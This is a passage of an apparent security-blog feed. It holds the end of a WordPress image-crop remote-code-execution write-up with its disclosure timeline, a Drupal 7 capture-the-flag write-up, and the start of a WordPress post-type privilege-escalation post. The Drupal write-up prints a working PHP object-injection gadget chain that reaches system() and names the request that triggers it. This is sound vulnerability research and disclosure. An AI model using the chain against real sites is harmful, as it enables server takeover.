a maliciously crafted image into the directory of the currently used theme. The attacker can then create a new post and abuse the same bug that enabled him to update the &lt;code&gt;_wp_attached_file&lt;/code&gt; &lt;em&gt;Post Meta&lt;/em&gt; entry in order to &lt;code&gt;include()&lt;/code&gt; the image. By injecting PHP code into the image, the attacker then gains arbitrary Remote Code Execution.&lt;/p&gt;&lt;h3&gt;Crafting a malicious image - GD vs Imagick&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;WordPress supports two image editing extensions for PHP: &lt;a href=&quot;https://libgd.github.io/&quot;&gt;GD&lt;/a&gt; and &lt;a href=&quot;https://www.imagemagick.org/&quot;&gt;Imagick&lt;/a&gt;. The difference between them is that Imagick does &lt;em&gt;not&lt;/em&gt; strip exif metadata of the image, in which PHP code can be stored. GD compresses each image it edits and strips all exif metadata. This is a result of how GD processes images.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, exploitation is still possible by crafting an image that contains crafted pixels that will be flipped in a way that results in PHP code execution once GD is done cropping the image. During our efforts to research the internal structures of PHP’s GD extension, an exploitable memory corruption flaw was discovered in libgd. (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6977&quot;&gt;CVE-2019-6977&lt;/a&gt;).&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Time Line&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/16&lt;/td&gt;&lt;td&gt;Vulnerability reported to the WordPress security team on Hackerone.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/18&lt;/td&gt;&lt;td&gt;A WordPress Security Team member acknowledges the report and says they will come back once the report is verified.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/19&lt;/td&gt;&lt;td&gt;&amp;nbsp;Another WordPress Security Team member asks for more information.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/10/22&lt;/td&gt;&lt;td&gt;We provide WordPress with more information and provide a complete, 270 line exploit script to help verify the vulnerability,&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/11/15&lt;/td&gt;&lt;td&gt;WordPress triages the vulnerability and says they were able to replicate it.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/12/06&lt;/td&gt;&lt;td&gt;&amp;nbsp;WordPress 5.0 is released, without a patch for the vulnerability.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/12/12&lt;/td&gt;&lt;td&gt;WordPress 5.0.1 is released and is a security update. One of the patches makes the vulnerabilities non exploitable by preventing attackers to set arbitrary post meta entries. However, the Path Traversal is still possible and can be&amp;nbsp;exploited if plugins are installed that incorrectly handle Post Meta entries. WordPress 5.0.1 does not address either the Path Traversal or Local File Inclusion vulnerability.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/12/19&lt;/td&gt;&lt;td&gt;&amp;nbsp;WordPress 5.0.2 is released. without a patch for the vulnerability.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/01/09&lt;/td&gt;&lt;td&gt;WordPress 5.0.3 is released, without a patch for the vulnerability.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/01/28&lt;/td&gt;&lt;td&gt;We ask WordPress for an ETA of the next security release so we can coordinate our blog post schedule and release the blog post after the release.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/02/14&lt;/td&gt;&lt;td&gt;WordPress proposes a patch.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2019/02/14&lt;/td&gt;&lt;td&gt;We provide feedback on the patch and verify that it prevents exploitation.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog post detailed a Remote Code Execution in the WordPress core that was present for over &lt;strong&gt;6 years&lt;/strong&gt;. It became non-exploitable with a patch for another vulnerability reported by RIPS in versions &lt;strong&gt;5.0.1&lt;/strong&gt; and &lt;strong&gt;4.9.9&lt;/strong&gt;. However, the Path Traversal is still possible and can be exploited if a plugin is installed that still allows overwriting of arbitrary Post Data. Since certain authentication to a target WordPress site is needed for exploitation, we decided to make the vulnerability public after 4 months of initially reporting the vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the volunteers of the WordPress security team which have been very friendly and acted professionally when working with us on this issue.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Update: Pwnie Award Nomination&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Pwnie Awards is an annual awards ceremony celebrating outstanding research in different security categories. It is a great honour that our research detailed in this blog post was &lt;a href=&quot;https://pwnies.com/nominations/&quot;&gt;nominated for the &lt;em&gt;Best Server-Side Bug&lt;/em&gt;&lt;/a&gt; award by a panel of respected security researchers. Once a year this award goes to the researchers who discovered or exploited the most technically sophisticated and interesting server-side bug.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-csrf-to-rce&quot;&gt;WordPress 5.1 CSRF to Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-hardening-bypass&quot;&gt;WordPress &amp;lt;= 5.2.3: Hardening Bypass&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-post-type-privilege-escalation&quot;&gt;WordPress Privilege Escalation through Post Types&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-design-flaw-leads-to-woocommerce-rce&quot;&gt;WordPress Design Flaw Leads to WooCommerce RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-file-delete-to-code-execution&quot;&gt;WordPress File Delete to Code Execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[CTF Writeup: Complex Drupal POP Chain]]></title><description><![CDATA[A recent Capture-The-Flag tournament hosted by Insomni’hack challenged participants to craft an attack payload for Drupal 7. This blog post will demonstrate our solution for a PHP Object Injection with a complex POP gadget chain.]]></description><link>https://www.sonarsource.com/blog/complex-drupal-pop-chain</link><guid isPermaLink="false">f4ca64e3-7e5b-5495-9728-5aedd5444b13</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 29 Jan 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A recent Capture-The-Flag tournament hosted by &lt;a href=&quot;https://insomnihack.ch/&quot;&gt;Insomni’hack&lt;/a&gt; challenged participants to craft an attack payload for Drupal 7. This blog post will demonstrate our solution for a PHP Object Injection with a complex POP gadget chain.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;About the Challenge&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;em&gt;Droops&lt;/em&gt; challenge consisted of a website which had a modified version of &lt;a href=&quot;https://www.drupal.com/&quot;&gt;Drupal&lt;/a&gt; 7.63 installed. The creators of the challenge added a Cookie to the Drupal installation that contained a PHP serialized string, which would then be unserialized on the remote server, leading to a PHP Object Injection vulnerability. Finding the cookie was straightforward and the challenge was obvious: Finding and crafting a POP chain for Drupal.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you are not familiar with PHP Object Injections we recommend reading our blog post about the &lt;a href=&quot;https://blog-old.sonarsource.com/complex-drupal-pop-chain/&quot;&gt;basics of PHP Object Injections&lt;/a&gt;.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Drupal POP Chain to Drupalgeddon 2&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We found the following POP chain in the Drupal source code that affects its cache mechanism. Through the POP chain it was possible to inject into the Drupal cache and abuse the same feature that lead to the &lt;a href=&quot;https://research.checkpoint.com/uncovering-drupalgeddon-2/&quot;&gt;Drupalgeddon 2&lt;/a&gt; vulnerability. No knowledge of this vulnerability is required to read this blog post, as each relevant step will be explained.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The POP chain is a second-order Remote Code Execution, which means that it consists of two steps:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Injecting into the database cache the rendering engine uses&lt;/li&gt;&lt;li&gt;Exploiting the rendering engine and Drupalgeddon 2&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Injecting into the cache&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;DrupalCacheArray&lt;/code&gt; class in &lt;code&gt;includes/bootstrap.inc&lt;/code&gt; implements a destructor and writes some data to the database cache with the method &lt;code&gt;set()&lt;/code&gt;. This is our entry point of our gadget chain.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    /**
 2     * Destructs the DrupalCacheArray object.
 3     */
 4    public function __destruct() {
 5        $data = array();
 6        foreach ($this-&gt;keysToPersist as $offset =&gt; $persist) {
 7            if ($persist) {
 8                $data[$offset] = $this-&gt;storage[$offset];
 9            }
10        }
11        if (!empty($data)) {
12            $this-&gt;set($data);
13        }
14    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;set()&lt;/code&gt; method will essentially call Drupal’s &lt;code&gt;cache_set()&lt;/code&gt; function with &lt;code&gt;$this-&amp;gt;cid&lt;/code&gt;, &lt;code&gt;$data&lt;/code&gt;, and &lt;code&gt;$this-&amp;gt;bin&lt;/code&gt;, which are all under control of the attacker since they are properties of the injected object. We assumed that we are now able to inject arbitrary data into the Drupal cache.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    protected function set($data, $lock = TRUE) {
 2        // Lock cache writes to help avoid stampedes.
 3        // To implement locking for cache misses, override __construct().
 4        $lock_name = $this-&gt;cid . &apos;:&apos; . $this-&gt;bin;
 5        if (!$lock || lock_acquire($lock_name)) {
 6            if ($cached = cache_get($this-&gt;cid, $this-&gt;bin)) {
 7                $data = $cached-&gt;data + $data;
 8            }
 9            cache_set($this-&gt;cid, $data, $this-&gt;bin);
10            if ($lock) {
11                lock_release($lock_name);
12            }
13        }
14    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to find out if this assumption was true, we started digging into the internals of the Drupal cache. We found out that the cache entries are stored in the database. Each cache type has its own table. (A cache for forms, one for pages and so on.)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    MariaDB [drupal7]&gt; SHOW TABLES;
 2    +-----------------------------+
 3    | Tables_in_drupal7           |
 4    +-----------------------------+
 5    ...
 6    | cache                       |
 7    | cache_block                 |
 8    | cache_bootstrap             |
 9    | cache_field                 |
10    | cache_filter                |
11    | cache_form                  |
12    | cache_image                 |
13    | cache_menu                  |
14    | cache_page                  |
15    | cache_path                  |
16    ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After a bit more of digging around, we discovered that the table name is the equivalent to &lt;code&gt;$this-&amp;gt;bin&lt;/code&gt;. This means we can set &lt;code&gt;bin&lt;/code&gt; to be of any cache type and inject into any cache table. But what can we do with this?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The next step was to analyze the different cache tables for interesting entries and their structure.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1     MariaDB [drupal7]&gt; DESC cache_form;
 2     +------------+--------------+------+-----+---------+-------+
 3     | Field      | Type         | Null | Key | Default | Extra |
 4     +------------+--------------+------+-----+---------+-------+
 5     | cid        | varchar(255) | NO   | PRI |         |       |
 6     | data       | longblob     | YES  |     | NULL    |       |
 7     | expire     | int(11)      | NO   | MUL | 0       |       |
 8     | created    | int(11)      | NO   |     | 0       |       |
 9     | serialized | smallint(6)  | NO   |     | 0       |       |
10     +------------+--------------+------+-----+---------+-------+&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example the  &lt;code&gt;cache_form&lt;/code&gt; table has a column called &lt;code&gt;cid&lt;/code&gt;. As a reminder, one of the arguments to &lt;code&gt;cache_set()&lt;/code&gt; was &lt;code&gt;$this-&amp;gt;cid&lt;/code&gt;. We assumed the following: &lt;code&gt;$this-&amp;gt;cid&lt;/code&gt; maps to the &lt;code&gt;cid&lt;/code&gt; column of the cache table, which is set in &lt;code&gt;$this-&amp;gt;bin&lt;/code&gt;. &lt;code&gt;cid&lt;/code&gt; is the key of a cache entry and the &lt;code&gt;data&lt;/code&gt; column simply is the &lt;code&gt;$data&lt;/code&gt; parameter in &lt;code&gt;cache_set()&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To verify all these assumptions we created a serialized payload locally by creating a class in a &lt;code&gt;build.php&lt;/code&gt; file and unserialized it on my test Drupal setup:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1     class SchemaCache {
 2         // Insert an entry with some cache_key
 3         protected $cid = &quot;some_cache_key&quot;;
 4     
 5         // Insert it into the cache_form table
 6         protected $bin = &quot;cache_form&quot;;
 7     
 8         protected $keysToPersist = array(&apos;input_data&apos; =&gt; true);
 9     
10        protected $storage = array(&apos;input_data&apos; =&gt; array(&quot;arbitrary data!&quot;));
11    }
12    $schema = new SchemaCache();
13    echo serialize($schema);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The reason we used the &lt;code&gt;SchemaCache&lt;/code&gt; class here is that it extends the abstract class &lt;code&gt;DrupalCacheArray&lt;/code&gt;, which means it can’t be instantiated on its own. The deserialization of this data leads to the following entry in the &lt;code&gt;cache_form&lt;/code&gt; table being created:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    MariaDB [drupal7]&gt; SELECT * FROM cache_form;
2    +----------------+-----------------------------------------------------------+--------+------------+------------+
3    | cid            | data                                                      | expire | created    | serialized |
4    +----------------+-----------------------------------------------------------+--------+------------+------------+
5    | some_cache_key | a:1:{s:10:&quot;input_data&quot;;a:1:{i:0;s:15:&quot;arbitrary data!&quot;;}} |      0 | 1548684864 |          1 |
6    +----------------+-----------------------------------------------------------+--------+------------+------------+&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Using the injected cached data to gain Remote Code Execution&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since we were now able to inject arbitrary data into any caching table, we started to search for ways in which the cache was used by Drupal that could be used to gain Remote Code Execution. After a bit of searching, we stumbled upon the following ajax callback, which can be triggered by making a request to the URL: &lt;code&gt;http://drupalurl.org/?q=system/ajax&lt;/code&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    function ajax_form_callback() {
2        list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
3        drupal_process_form($form[&apos;#form_id&apos;], $form, $form_state);
4    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;ajax_get_form()&lt;/code&gt; function internally uses &lt;code&gt;cache_get()&lt;/code&gt; to retrieve a cached entry from the &lt;code&gt;cache_form&lt;/code&gt; table:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    if ($cached = cache_get(&apos;form_&apos; . $form_build_id, &apos;cache_form&apos;)) {
2        $form = $cached-&gt;data;
3        ...
4        return $form;
5    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is interesting because this means it is possible to pass an arbitrary form render array to &lt;code&gt;drupal_process_form()&lt;/code&gt;. As previously mentioned, the &lt;a href=&quot;https://research.checkpoint.com/uncovering-drupalgeddon-2/&quot;&gt;Drupalgeddon 2&lt;/a&gt; vulnerability abused this feature, so chances were high that code execution could be achieved with the ability to inject arbitrary render arrays into the rendering engine.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Within &lt;code&gt;drupal_process_form()&lt;/code&gt;, we found the following lines of code:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1  if (isset($element[&apos;#process&apos;]) &amp;&amp; !$element[&apos;#processed&apos;]) {
2    foreach ($element[&apos;#process&apos;] as $process) {
3      $element = $process($element, $form_state, $form_state[&apos;complete form&apos;]);
4    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here, &lt;code&gt;$element&lt;/code&gt; refers to the &lt;code&gt;$form&lt;/code&gt; received via &lt;code&gt;cache_get()&lt;/code&gt;, meaning the keys and values of the array can be set arbitrarily. This means it is possible to simply set an arbitrary &lt;code&gt;process&lt;/code&gt; (&lt;code&gt;#process&lt;/code&gt;) callback and execute it with the render array as a parameter. Since the first argument is an array, it is not possible to simply call a function such as &lt;code&gt;system()&lt;/code&gt; directly. What is required is a function that takes an array as input that leads to RCE.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;drupal_process_attached()&lt;/code&gt; function seemed very promising:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    function drupal_process_attached($elements, $group = JS_DEFAULT, $dependency_check = FALSE, $every_page = NULL) {
 2        ...
 3        foreach ($elements[&apos;#attached&apos;] as $callback =&gt; $options) {
 4            if (function_exists($callback)) {
 5                foreach ($elements[&apos;#attached&apos;][$callback] as $args) {
 6                    call_user_func_array($callback, $args);
 7                }
 8            }
 9        }
10   
11        return $success;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since all array keys and values can be set arbitrarily, is is possible to call an arbitrary function with arbitrary arguments via &lt;code&gt;call_user_func_array()&lt;/code&gt;, which leads to RCE!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This means the final POP chain looks like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    &lt;?php
 2    class SchemaCache {
 3        // Insert an entry with some cache_key
 4        protected $cid = &quot;form_1337&quot;;
 5   
 6        // Insert it into the cache_form table
 7        protected $bin = &quot;cache_form&quot;;
 8
 9        protected $keysToPersist = array(
10            &apos;#form_id&apos; =&gt; true,
11            &apos;#process&apos; =&gt; true,
12            &apos;#attached&apos; =&gt; true
13        );
14
15        protected $storage = array(
16            &apos;#form_id&apos; =&gt; 1337,
17            &apos;#process&apos; =&gt; array(&apos;drupal_process_attached&apos;),
18            &apos;#attached&apos; =&gt; array(
19                &apos;system&apos; =&gt; array(array(&apos;sleep 20&apos;))
20            )
21        );
22    }
23
24    $schema = new SchemaCache();
25    echo serialize($schema);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All that is left to do is to trigger the PHP Object Injection vulnerability with the resulting serialized string and then to make a POST request to &lt;code&gt;http://drupalurl.org/?q=system/ajax&lt;/code&gt; and set the POST parameter &lt;code&gt;form_build_id&lt;/code&gt; to &lt;code&gt;1337&lt;/code&gt; to trigger the RCE.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;POP chains can often become more complex and require a deeper knowledge of the application. However, the purpose of this blog post was to demonstrate that exploitation is still possible, even if no obvious, first order POP chain exists. If we had not known that the rendering API of drupal uses a lot of callbacks and had vulnerabilities in the past, we probably would not have found this particular POP chain. Alternatively, deep PHP knowledge can also lead to working POP chains when no obvious POP chain can be found. There exists another POP chain, an Object Instantion to Blind XXE to File Read to SQL Injection to RCE. A write up for this POP chain was written by Paul Axe and can be found &lt;a href=&quot;https://gist.github.com/paul-axe/2a384bb5f2d430dd3b63b2484af960f4&quot;&gt;here&lt;/a&gt;. We also would like to thank the creators for creating this and the other amazing challenges for the &lt;a href=&quot;https://insomnihack.ch/&quot;&gt;Insomni’hack&lt;/a&gt; CTF 2019.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/complex-drupal-pop-chain/&quot;&gt;Pydio 8.2.1 Unauthenticated Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/complex-drupal-pop-chain/&quot;&gt;Shopware 5.3.3: PHP Object Instantiation to Blind XXE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/complex-drupal-pop-chain/&quot;&gt;Breaking Into Your Company&amp;#x27;s Internal Network - SuiteCRM 7.11.4&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/complex-drupal-pop-chain/&quot;&gt;phpBB 3.2.3: Phar Deserialization to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/complex-drupal-pop-chain/&quot;&gt;What is Phar Deserialization&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog-old.sonarsource.com/complex-drupal-pop-chain/&quot;&gt;What is PHP Object Injection&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[WordPress Privilege Escalation through Post Types]]></title><description><![CDATA[A logic flaw in the way WordPress created blog posts allowed attackers to access features only administrators were supposed to have (CVE-2018-20152). This lead to a Stored XSS and Object Injection in the WordPress core and more severe vulnerabilities in WordPress’s most popular plugins Contact Form 7 and Jetpack.]]></description><link>https://www.sonarsource.com/blog/wordpress-post-type-privilege-escalation</link><guid isPermaLink="false">41887247-e468-5a78-9c3b-532e052e4244</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Mon, 17 Dec 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A logic flaw in the way WordPress created blog posts allowed attackers to access features only administrators were supposed to have (CVE-2018-20152). This lead to a Stored XSS and Object Injection in the WordPress core and more severe vulnerabilities in WordPress’s most popular plugins Contact Form 7 and Jetpack.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;WordPress is at the core a Blogging Software that allows user to create and publish posts. Over time, different post types were introduced, such as pages and media entries (images, videos etc.). Plugins can register new post types, such as products or contact forms. Depending on the purpose of the post type a plugin registers, it offers unique and new features. For example, a contact form plugin might allow to create a contact form with a file upload field (e.g. for resumès). The user creating the contact form can define which filetypes should be allowed. An evil user could also allow php files to be uploaded and then execute arbitrary code on his site. This is not an issue per se, as plugins can restrict access to the post types they register to administrators only and trust WordPress to handle that restriction for them. The privilege escalation discussed here allows lower privileged users to bypass the security checks implemented by WordPress and create posts of any type and misuse the features of custom post types. This leads to a Stored XSS and Object Injection in the WordPress core. Depending on the plugins installed, more severe vulnerabilities can be exploited. When for example WordPress’s most popular plugin, Contact Form 7, which has over 5 million active installs, was used, attackers were able to read the database credentials of the target Wordpress site. Most of the top WordPress plugins are vulnerable to this privilege escalation.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Technical Background&lt;/h2&gt;&lt;p&gt;To register new post types, plugins make a call to &lt;code&gt;register_post_type()&lt;/code&gt; with the name of the new post type and some meta information.&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 1    // Example post type
 2    register_post_type( &apos;example_post_type&apos;, array(
 3        &apos;label&apos; =&gt; &apos;Example Post Type&apos;,     // The name of the type in the front end
 4        &apos;can_export&apos; =&gt; true,               // Make it possible to export posts of this type,
 5        &apos;description&apos; =&gt; &apos;Just an example!&apos; // A short description
 6    ));&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;How custom post types are secured&lt;/h3&gt;&lt;p&gt;Each post type has its own editor page (e.g. &lt;em&gt;example.com/wordpress/wp-admin/?page=example_post_type_editor&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2817fbd8-d211-46b7-b677-e4850fe65f02/body-69dabda3-69c1-43bf-9cda-0d210577f821_wordpress_post_type.png&quot; /&gt;&lt;p&gt;If the plugin developer decides that only administrators should be allowed to use the post type of the plugin, he will simply check if the user is an administrator at the top of the page and end execution otherwise.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/wp-content/plugins/example_plugin/example_post_type_editor.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if(!current_user_is_administrator()) {
    die(&quot;You are not an administrator and not allowed to use this post type.&quot;);
}&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;WordPress post submission&lt;/h3&gt;&lt;p&gt;Although all registered post types have their own editor, they can all use the WordPress post submission API and insert and update the posts with the WordPress function &lt;code&gt;wp_write_post()&lt;/code&gt;. The function takes user input such as &lt;code&gt;$_POST[&amp;#x27;post_type&amp;#x27;]&lt;/code&gt;, &lt;code&gt;$_POST[&amp;#x27;post_title&amp;#x27;]&lt;/code&gt; and &lt;code&gt;$_POST[&amp;#x27;post_content&amp;#x27;]&lt;/code&gt; so it knows how to process the post.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the first step of WordPress’s post submission process, WordPress has to know if the user wants to edit an existing post or create a new one. To do this, WordPress checks if the user has sent an ID of a post. WordPress will allow either &lt;code&gt;$_GET[&amp;#x27;post&amp;#x27;]&lt;/code&gt; or &lt;code&gt;$_POST[&amp;#x27;post_ID&amp;#x27;]&lt;/code&gt;. If an ID is set, the user wants to edit an existing post with that ID. Otherwise the user wants to create a new post.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/wp-admin/post.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if ( isset( $_GET[&apos;post&apos;] ) )
    $post_id = $post_ID = $_GET[&apos;post&apos;];
elseif ( isset( $_POST[&apos;post_ID&apos;] ) )
    $post_id = $post_ID = $_POST[&apos;post_ID&apos;];
    
if($post_id)
    ⋮&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the next step, WordPress has to determine which post type the user is trying to create. If a post ID has been sent, WordPress will pull the &lt;code&gt;post_type&lt;/code&gt; column from the database from the &lt;code&gt;wp_posts&lt;/code&gt; table. If the user wants to create a new post, the target post type will be &lt;code&gt;$_POST[&amp;#x27;post_type&amp;#x27;]&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/wp-admin/post.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if ( isset( $_GET[&apos;post&apos;] ) )
    $post_id = $post_ID = $_GET[&apos;post&apos;];
elseif ( isset( $_POST[&apos;post_ID&apos;] ) )
    $post_id = $post_ID = $_POST[&apos;post_ID&apos;];

if($post_id)
    $post_type = get_post_type($post_id);
else
    $post_type = $_POST[&apos;post_type&apos;];
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once WordPress knows the post type of the post the user is trying to create or edit, it will check if the user is actually allowed to use that post type. WordPress does this by verifying a nonce that can only be obtained from the editor page of the post type in question.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To do the nonce verification, WordPress will utilize the following code:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;/wp-admin/post.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if($post_id)
    $post_type = get_post_type($post_id);
else
    $post_type = $_POST[&apos;post_type&apos;];

$nonce_name = &quot;add-&quot; . $post_type;
